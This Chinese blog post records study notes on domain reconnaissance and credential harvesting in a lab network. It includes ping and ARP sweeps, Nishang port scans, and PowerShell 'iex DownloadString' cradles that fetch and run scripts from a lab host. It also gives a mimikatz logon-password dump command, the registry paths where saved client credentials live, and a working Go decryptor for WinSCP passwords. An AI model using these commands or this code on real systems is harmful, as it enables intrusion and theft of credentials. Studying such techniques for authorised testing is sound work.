# 前言

快一个月没更新小菜园子了,感觉没干什么但是每天都好忙,难绷。前面学习了内网中对于已经控制的主机做一个了解判断后,接下来本篇就简单记录一下对于域内其他主机信息收集的一个学习。

# 内网资源探测

假设现在获取了域中普通用户权限,希望在域内移动。这里需要获取域内用户登录的位置,当前的用户是否是什么系统的管理员,用户所属的组、用户是否有权访问共享文件等等信息。枚举主机、用户、组及其他信息,有助于了解域的布局。探测其他存活的主机、并探测主机上开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。我们收集上面这些信息可以帮助发现内网中的薄弱资源,确定后续的攻击目标。

# 判断是否存在域

获得本机权限后我们对本机由了一个大致的了解,如果域内主机是统一进行的配置我们对多数主机都有了一个大致的了解,你们现在我们就需要判断当前是否存在域。

# 查询工作站信息

net config workstation

image-20240413135208155

使用这个命令可以查看当前的工作站信息,包括当前主机的主机名、用户名、系统版本、登录的域的信息

# 使用 ipconfig

ipconfig /all

image-20240413145129194

使用这个命令可以查看网关 ip 地址,DNS 的 ip 地址等等信息。比如说上面就看到的主 dns

image-20240413145346315

没有加入域的主机执行该命令可以看到这里是空的

# 查看系统详细信息

systeminfo

这个命令上面就已经说到了这里不在赘述

# time

net time /domain

image-20240413145802147

这里能成功查询到说明当前是域用户,上图可以看到域 demo.com

# 域内存活主机的探测

​ 在测试过程汇总我们可以根据目标主机的情况,上传对应的工具进行主机存活探测,也可以借助内网代理或者路由转发将我们的流量转发到目标局域网中。特定的网络环境中有些网络协议是并不能正常传输的,所以根据不同的网络环境选用不同的网络协议对其进行探测。

# NetBios 协议发现存活主机

​ NetBIOS(Network Basic Input Output System)协议是局域网程序中使用的一种编程接口,为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能(为了让不同计算机上运行的不同程序可以在局域网中相互连接和共享数据),几乎所有的局域网都是在 NetBIOS 协议的基础上工作的。在当今的环境中,NetBIOS 是使用很普遍的协议。以太网,令牌环,IBM PC 网都支持 NetBIOS。NetBIOS 也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS 的工作流程就是正常的机器名解析查询应答过程。在 Windows 操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装 NetBIOS。

image-20240502165128236

image-20240502210949560

可以使用 nbtscan 工具扫描开放 NetBIOS 名称服务器。下载地址:CiscoCXSecurity/nbtscan: NBTscan is a program for scanning IP networks for NetBIOS name information (github.com)

因为 NetBIOS 在工作时会生成大量的广播流量,导致网络堵塞,所以只能用在规模不大网络中;而且 NetBIOS 的安全性较差可靠性不高,所以也出现了很多针对其的漏洞利用脚本,比如 ' 永恒之蓝 ' 等。所以很多内网管理员会将 NetBIOS 协议禁用(在大型网络中已经使用活动目录取代 NetBIOS)

# nbtscan 安装

在 win 上面编译好麻烦的说,我本地的 Microsoft Visual Studio 还有点问题,最后使用 MinGW 编译成功的,考古成功

image-20240502211205419

上来就开始报错,我不想安装这个 Visual Studio 那就只能改 makefile 了

#
# $Id: //devel/tools/main/nbtscan/makefile#5 $
#
#	This is the makefile for the NBTSCAN program, which compiles and
#	runs under both NT and many flavors of UNIX. This requires GNU
#	make (especially under NT, sorry). If you are building under NT
#	and *don't* have GNU make, use:
#
#		nmake /f makefile.nt all
#
#-------------------------------------------------------------------
# Operating system detection
#
# See if we're running NT or UNIX so the rest of the Makefile is
# keyed to actual operating system type and not to funky
# environment variables.
#
ifdef PROCESSOR_ARCHITECTURE
  OS=NT
else
  OS=unix
endif
#-------------------------------------------------------------------
# NT is lots different than UNIX, so we take care of the CFLAGS and
# the like right here. These are the flags of interest:
#
#       /nologo         suppress that damn copyright message
#
#       /MD             link with the shared MSVCRT.DLL library. This
#                       reduces the footprint of the .EXE. All NT
#                       systems have this DLL installed in the WINNT
#                       directories.
#
#       /GF             enable readonly string pooling. Safer!
#
#       /G5             optimize for Pentium
#
#       /W3             enable lots of warnings
#
ifeq ($(OS),NT)
  O      = o
  L      = lib
  E      = .exe
  CC     = gcc
  CFLAGS = -Wall -Wextra -Werror -std=c99 -DENABLE_PERL -DCOMMONFILE=\"libcommon.h\"
  LIBS   = -lwsock32 -lkernel32 -ladvapi32
else
  O      = o
  L      = a
  E      =
  CC     = gcc
  CFLAGS = -Wall -Wextra -Werror -std=c99 -DENABLE_PERL -DCOMMONFILE=\"libcommon.h\"
  LIBS   = $(NETLIBS)
endif
CFLAGS          += $(PENCFLAGS)
#PENLIB         = ../lib/libpen.$L
#CINCLUDES      = -I../lib
all : nbtscan$E $(PENLIB)
OBJS    = nbtscan.$O parse_target_cb.$O \
          dump_packet.$O \
          byteswap_nodestats.$O netbios_fixname.$O \
          process_response.$O netbios_name.$O \
          display_nbtstat.$O parse_nbtstat.$O \
          packetio.$O errors.$O hostname.$O \
          version.$O targets.$O gen_perl.$O
OBJS  += all_digitsA.$O \
        die.$O \
        lookup_hostname.$O \
        netbios_pack.$O \
        netbios_unpack.$O \
        netmasks.$O \
        nstrcpyA.$O \
        parse_inaddr.$O \
        parse_target.$O \
        printable_NETBIOS_question_class.$O \
        printable_NETBIOS_question_type.$O \
        sleep_msecs.$O \
        stripA.$O \
        timeval_set_secs.$O \
        winsock.$O
$(OBJS) : nbtdefs.h
CLEAN   = *.$O nbtscan$E nbtscan-source.tgz *.pch
ifeq ($(OS),NT)
LINKDEBUG=/debug /debugtype:both
nbtscan.exe : $(OBJS) $(PENLIB)
		$(strip gcc -o $@ $(OBJS) $(PENLIB) $(LIBS))
else
nbtscan : $(OBJS) $(PENLIB)
        $(strip $(CC) -o $@ $(OBJS) $(PENLIB) $(LIBS))
endif
ifdef COPY
deliver : nbtscan$E
        $(COPY) $^ $(DELIVER)
endif
clean :-rm -f $(CLEAN)
#------------------------------------------------------------------------
# Set rules for building objects from sources
#
ifeq ($(OS), NT)
%.obj : %.c
		gcc ./libcommon.h $(CINCLUDES) $(CFLAGS) -c $*.c
else
%.o : %.c
        $(CC) $(CINCLUDES) $(CFLAGS) -c $*.c
endif
#------------------------------------------------------------------------
# Create a tarball
#
SOURCES  = makefile README
SOURCES += $(OBJS:.o=.c)
SOURCES += nbtdefs.h libcommon.h penlib.h win_sock.h
tarball : nbtscan-source.tgz nbtscan-source.zip
nbtscan-source.tgz : $(SOURCES)
		gtar -czvf $@ $(SOURCES)
nbtscan-source.zip : $(SOURCES)
		zip $@ $(SOURCES)
# ------------------------------------------------------------------------
# PC-Lint stuff
#
ifdef PCLINTDIR
CSRC = $(OBJS:.$O=.c)
lint : $(CSRC)
        lint-nt -i../lib -u local.lnt $(CSRC) > lint.out
endif
ifdef INSTDIR
ifdef PROCESSOR_REVISION
install : nbtscan.exe
        xcopy /Y nbtscan.exe $(INSTDIR)\nbtscan.exe
else
install : nbtscan
        cp nbtscan $(INSTDIR); chmod a+x $(INSTDIR)/nbtscan
endif
endif

image-20240502211328830

然后又报错这个修改 nbtscan.c 的 66 行 include "getopt.i"include "getopt.h" ,修改 nbtscan_common.hlibcommon.h ,修改文件中 nbtscan_common.hlibcommon.h

image-20240502211423921

这个报错是因为编译时启用了 -Werror 标志,它会将所有警告视为错误。格式字符串 "%ld" 需要一个 long int 类型的参数,但是 WSAGetLastError() 返回的是 int 类型。这里需要将 ld 改为 d

image-20240502211540083

然后在上面的 case 中少了一个 break

image-20240502211716581

这里也加上,然后再 make

image-20240502211742790

能编译了,但是不是完全能编译,这里是因为将 struct sockaddr * 类型的指针转换为 int * 类型的指针是不兼容的

image-20240502211859465

这里选择将 rmtpsz 参数的类型直接声明为 struct sockaddr *int *

image-20240502211944305

考古成功

# ICMP 协议进行主机发现

ICMP(Internet Control Message Protocol)直译因特网控制消息协议,该协议是 TCP/IP 协议蔟的一个子协议。可以通过对内网中的每个 ip 地址执行 ping 命令,所有能 ping 通的 ip 地址就是内网中存活的主机。可以在目标主机上执行下面这条命令

#windows
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.183.%I | findstr "TTL="

image-20240502192857111

#linux
for i in {1..254}; do ping -c 1 -W 1 192.168.183.$i 2>/dev/null | grep "ttl" & done

image-20240502194409599

# arp 协议进行主机发现

ARP(Address Resolution Protocol)协议是一个通过解析网络层地址来跟踪数据链路层的网络传输协议,用于网络层通信。

# arp-scan

arp-scan 是一款非常快速方便的内网扫描工具,将工具上传到目标主机上

arp-scan.exe -t 192.168.183.0/24

image-20240503105703092

# PowerShell 的利用

Empire 框架的 Invoke-ARPScan.ps1 脚本可以利用 ARP 发现内网存活的主机。链接:EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent. (github.com)。使用时将脚本导入执行即可

Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.183.0/24

在上一篇中也提到,默认情况下我们是没有权限执行 ps 脚本的,可以将脚本托管在服务器上远程加载执行

powershell.exe -NoProfile -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.183.129:8000/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.183.0/24"
#或者
powershell -nop -exec bypass -c "IEX(New-Object Net.Webclient).Downloadstring('http://192.168.183.129:8000/Invoke-ARPScan.ps1’);Invoke-ARPScan -CIDR 192.168.183.0/24"

image-20240503115752749

# nmap 的 NSE 脚本

​ NSE(Nmap Script Engine)是 Nmap 脚本引擎,内置了很多可以用来扫描的、针对特定任务的脚本。在 Nmap 的使用中,使用 --script 参数来指定调用的脚本,这些脚本存放在 Nmap 安装路径下的 script 文件夹中。

image-20240502185238244

对于 kali 这些文件存放于 /usr/share/nmap/script/ 下面

下面是常用的对于信息收集的脚本

  • smb-enum-session.nse,引擎获取远程主机的登录回话
  • smb-enum-domain.nse,对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户
  • smb-enum-users.nse,对域内用户信息进行扫描
  • smb-enum-shares.nse,遍历远程主机的共享目录
  • smb-enum-processes.nse,对主机的系统进程进行遍历

# 端口扫描

​ 这里的端口主要是指逻辑端口,在逻辑上区分不同服务所划分的端口。在网络中计算机是通过 ip 地址来代表其身份,而在计算机中可以同时运行多个服务,如 web 服务、ssh、数据库等等,这些服务就通过端口来区别。通过对端口的探测可以确定目标主机开放的服务、开放服务的版本,通过这些信息来找到对应的漏洞进行攻击或者分析目标网络的拓扑信息等等。

# telnet 探测端口

telnet 是 Internet 远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力

telnet <IP> <port>

image-20240503152852372

对于单个端口的探测很方便,所以如果只是需要知道目标主机是否开放了某个高危端口使用这个命令就很方便

# Nmap 工具进行端口扫描

Nmap(“网络映射器”)是一个免费的开源实用程序 网络发现和安全审计。许多系统和网络 管理员还发现它对网络等任务很有用 清单、管理服务升级计划以及监视主机或 服务正常运行时间。官方文档:Nmap 参考指南 (Man Page)

nmap参数导图

贴一张网上偷的图

# PowerShell 扫描端口

可以使用 Nishang 的 invoke-PortScan 模块,这需要使用 PowerShell 加载

image-20240503162936072

但是很多时候会出现这个情况,默认情况下是没有办法执行脚本的,当然我们如果有高权限可以更改。但是往往我们没有理想化的环境,所以这里还是使用 nishang 中的 Invoke-PortsCan.ps1 脚本

  • StartAddress:扫描范围的开始地址。
  • EndAddress: 扫描范围的结束地址。
  • ScanPort: 进行端口扫描。
  • Port: 指定扫描端口。默认扫描的端口有 21、22、23、53、69、71、80、98、110、111、139、389、443、445、1080、1433、2001、2049、3001、3128、5222、6667、6868、7777、7878、8080、1521、3306、3389、5801、5900、5555、5901。
powershell.exe -NoProfile -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.183.129:8000/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.183.130 -EndAddress 192.168.183.130 -ScanPort"

image-20240503164936908

# 获取端口的 Banner 信息

Banner 信息是指软件开发商、软件名称、服务类型、版本号等,这些信息可以帮助我们快速的定位到目标服务是否存在公开的漏洞能否利用。

# "瑞士军刀"netcat

使用 netcat 可以轻松的建议任何连接,具有 "瑞士军刀" 的美称。这里可以通过 nc 的 - nv 参数来定位目标端口的 Banner 信息

image-20240503170344428

# telnet

使用 telnet 连接后也会返回相对应的 banner 信息

image-20240503170437726

# nmap

这个就不必多说,非常强大

image-20240503170600381

# 凭据收集

​ 在内网渗透测试中,当获取到某台主机的控制权后,想要进一步扩大控制的资源范围就会以当前主机为跳板机。但是在内网横向中很多的攻击方式都需要获取到域内用户的密码或者哈希值才能进行,像哈希传递攻击、票据传递攻击等等。

# 获取主机内的密码和哈希值

​ 在 Windows 系统中,SAM 文件位于系统的 % SystemRoot%\System32\Config 目录中,是 Windows 用户存放账户的位置。所有本地用户的用户名,密码的哈希值都会存放在这个位置。在登录时首先会将用户输入的密码转化为哈希值,然后与 SAM 文件中的信息比对。类似 web 应用的登录功能,所以这里也很显然,我们想要获取密码我们可以直接去查询这个 “数据库”。在 Windows 登录过程中处理整个流程的服务端是 “ lsass.exe ” 这个系统进程,用于实现系统的安全机制,用于本地安全和登录策略。登录后该进程会将域名,用户名和登录凭证存放在该进程的系统空间里。所以第二种方式就是访问 lsass.exe 进程的内存数据。

# mimikatz

这里使用 mimikatz 来获取用户凭证,将 mimikatiz 上传到目标主机上,执行命令

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

image-20240505181737205

# 获取常见的应用的凭据

为了扩大可访问范围,通常会收集各种常见软件的密码的存储位置,以此来获取,下面这些主要是我用过的一些,网上翻了翻资料这里简单记录一下

# PuTTY

PuTTY 是自由的跨平台 Telnet/SSH 客户端,同时在 Win32 和 Unix 系统下模拟 xterm 终端。其主要作者是 Simon Tatham。下载地址:下载 PuTTY:最新版本 (0.81) (greenend.org.uk)

PuTTY 的链接记录保存在注册表中

#链接记录直接打开 regedit
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys
#保存的回话
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

image-20240505195138393

image-20240505204441650

# WinSCP

WinSCP 是一款运行在 Windows 平台上的使用 ssh 协议的开源图形化 SFTP 客户端,它也支持 SCP 协议。WinSCP 的主要功能是在本地对与远程计算机之间安全地复制文件。如果能拿到这个保存的用户名和密码很容易就能拿到管理员常操作的主机。当管理员使用 scp 选择了记住密码的功能时,可以将回话导出为一个 Winscp.ini 文件

image-20240520102245033

然后选择导出

image-20240520102310315

就可以将我们的回话保存到 ini 文件中,这时就可以通过 Winscppwd.exe 来破解

image-20240520103820905

或者使用脚本来实现

package main
import (
	"bufio"
	"fmt"
	"os"
	"strconv"
	"strings"
)
// 全局变量
const PWALG_SIMPLE_MAGIC = 0xA3
const PWALG_SIMPLE_FLAG = 0xFF
var fPasswd []rune
func getPassword(user string, host string, pass string) {
	for i := 0; i < len(pass); i++ {
		char := pass[i]
		parsedInt, err := strconv.ParseInt(string(char), 16, 32) // 将字符转为 16 进制
		if err != nil {
			fmt.Printf("error: %v\n", err)
		}
		//fmt.Printf("", parsedInt)
		fPasswd = append(fPasswd, rune(parsedInt))
	}
	password := decodeWinscp(fPasswd, user+host)
	fmt.Printf("Password: %s\n", password)
}
func decodeWinscp(PassWord []rune, unicodeKey string) string {
	var result string
	flag := simpleDecodeWinscpNext(&PassWord)
	if flag == PWALG_SIMPLE_FLAG {
		simpleDecodeWinscpNext(&PassWord)
		length := simpleDecodeWinscpNext(&PassWord)
		newStart := int(simpleDecodeWinscpNext(&PassWord) * 2)
		removeItems(&PassWord, 0, newStart)
		for i := 0; i < int(length); i++ {
			result += string(simpleDecodeWinscpNext(&PassWord))
		}
		if !strings.HasPrefix(result, unicodeKey) {
			result = ""
		} else {
			result = result[len(unicodeKey):]
		}
	} else {
		length := flag
		for i := 0; i < int(length); i++ {
			result += string(simpleDecodeWinscpNext(&PassWord))
		}
	}
	return result
}
// 简单解密下一个字符
func simpleDecodeWinscpNext(str *[]rune) rune {
	if len(*str) > 1 {
		// 获取第一个和第二个字符
		firstChar := unsignedChar(int((*str)[0]))
		secondChar := unsignedChar(int((*str)[1]))
		// 进行位移和求和操作
		intermediate := unsignedChar(int(firstChar<<4) + int(secondChar))
		// 与 PWALG_SIMPLE_MAGIC 进行异或运算并按位取反
		result := unsignedChar(^(int(intermediate) ^ PWALG_SIMPLE_MAGIC))
		// 从列表中移除前两个字符
		removeItems(str, 0, 2)
		return result
	}
	return 0x00
}
// 将整数转为无符号字符
func unsignedChar(v int) rune {
	return rune(v & 0xFF)
}
// 从切片中移除指定范围的元素
func removeItems(lst *[]rune, start, end int) {
	*lst = append((*lst)[:start], (*lst)[end:]...)
}
func readWinscpPassByFile(filename string) {
	file, err := os.Open(filename)
	if err != nil {
		fmt.Printf("Error opening file: %v\n", err)
		return
	}
	defer file.Close()
	scanner := bufio.NewScanner(file)
	var hostName, userName, password string
	for scanner.Scan() {
		line := scanner.Text()
		if strings.HasPrefix(line, "HostName=") {
			hostName = strings.Split(line, "=")[1]
		} else if strings.HasPrefix(line, "UserName=") {
			userName = strings.Split(line, "=")[1]
		} else if strings.HasPrefix(line, "Password=") {
			password = strings.Split(line, "=")[1]
			fmt.Printf("UserName: %s\n", userName)
			fmt.Printf("HostName: %s\n", hostName)
			getPassword(userName, hostName, password)
		}
	}
	if err := scanner.Err(); err != nil {
		fmt.Printf("Error reading file: %v\n", err)
	}
}
func main() {
	switch len(os.Args) {
	case 2:
		readWinscpPassByFile(os.Args[1]) // 去读取文件进行解密
		break
	case 4:
		var UserName, HostName, PassWord = os.Args[1], os.Args[2], os.Args[3] // 接收参数
		fmt.Printf("UserName: %s\n", UserName)
		fmt.Printf("HostName: %s\n", HostName)
		getPassword(UserName, HostName, PassWord)
		break
	default:
		fmt.Println("Parameter exception") // 可以不变异,直接用
		//UserName := "ubuntu"
		//HostName := "192.168.246.176"
		//PassWord := "A35C47511F417D697B7A539DA868375F42293E293228296D656E726D6A64726E686A726D6B6A293E293228292E7F1C4F9C78"
		//fmt.Printf("UserName: %s\n", UserName)
		//fmt.Printf("HostName: %s\n", HostName)
		//getPassword(UserName, HostName, PassWord)
		break
	}
}

image-20240527165309581

# XMangager

XShell 是一款运行在 Windows 平台请打的终端模拟软件(ssh 和 ftp 一键转换我吹爆),支持・SSH,telnet,Rlogin 终端的仿真软件,使得用户安全、轻松的连接到 UNIX/Linux 主机。Xshell 和 XFtp 会将服务器连接信息保存在 Session 目录下的,xsh 文件中。

名称.xsh 路径
XSHELL5%USERPROFILE%\Documents\NetSarang Computer\5\Xshell\Sessions
XSHELL6%USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Sessions
XSHELL7%USERPROFILE%\Documents\NetSarang Computer\7\Xshell\Sessions
Xftp5%USERPROFILE%\Documents\NetSarang Computer\5\Xftp\Sessions
Xftp6%USERPROFILE%\Documents\NetSarang Computer\6\Xftp\Sessions
Xftp7%USERPROFILE%\Documents\NetSarang Computer\7\Xftp\Sessions

这里我本机上的是最新的版本 xshell7

image-20240527180225563

对于 7 之前的版本可以使用 SharpDecryptPwd 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。

SharpDecryptPwd.exe -Xmangager -p %USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Sessions

还有个小玩意,星号密码查看器

navicat 是一款强大的数据库管理和设计工具,被运维人员广泛使用。在连接数据库的时候默认是会保存密码的,链接后会将 ip,用户名,密码等信息存放到注册表中。

Navicat12 之后的版本和之间的版本使用不同的加密算法

对应数据库存储的位置如下

Database TypePath
MySQLHKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers`<your connection name>` |
MariaDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers`<your connection name>` |
MongoDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers`<your connection name>` |
Microsoft SQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers`<your connection name>` |
OracleHKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers`<your connection name>` |
PostgreSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers`<your connection name>` |
SQLiteHKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers`<your connection name>` |

这里就拿 mysql 为例

image-20240527184244943

可以使用 HyperSine/how-does-navicat-encrypt-password: Transferred from https://github.com/DoubleLabyrinth/how-does-navicat-encrypt-password 来尝试解密

或者上面的 SharpDecryptPwd

SharpDecryptPwd.exe -NavicatCrypto

image-20240527184727758